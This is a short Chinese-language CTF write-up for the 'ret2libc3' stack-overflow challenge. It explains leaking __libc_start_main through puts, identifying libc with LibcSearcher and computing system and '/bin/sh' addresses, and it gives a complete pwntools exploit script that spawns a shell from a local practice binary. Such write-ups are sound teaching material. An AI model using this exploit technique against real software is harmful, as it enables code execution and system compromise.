ret2libc3-bamboofox

警告
本文最后更新于 2023-01-29,文中内容可能已过时。

思路

通过获取已经运行过的函数的信息,计算得出libc的版本,由于特定版本的偏移量是固定的,可以计算出来system和bin/sh的地址

然后通过构建ROP链执行system(’/bin/sh')

构建

计算puts函数的pltputs_plt = elf.plt['puts']

获取__libc_start_main的got表libc_start_main_got = elf.got['__libc_start_main']

获取main函数的内存地址main_address = elf.symbols['main']

使用recv函数截断数据 u32解包,得到__libc_start_main的地址libc_start_main_address = u32(p.recv()[:4])

使用LibcSearcher算出libc版本

再计算出偏移量 再次通过溢出即可

在main函数处执行需要将溢出点再向前移8个字节的长度

payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
p = process("./ret2libc3")
elf = ELF('./ret2libc3')

puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main_address = elf.symbols['main']

payload = flat(['a'*112,puts_plt,main_address,libc_start_main_got])
p.sendlineafter('!?',payload)

##calculate real address
libc_start_main_address = u32(p.recv()[:4])
libc = LibcSearcher('__libc_start_main',libc_start_main_address)
libcbase = libc_start_main_address-libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump ('system')
bin_sh_addr = libcbase + libc.dump ('str_bin_sh')

payload = flat (['A'* 104 , system_addr ,0 , bin_sh_addr])
p.sendline(payload)

p.interactive()
0%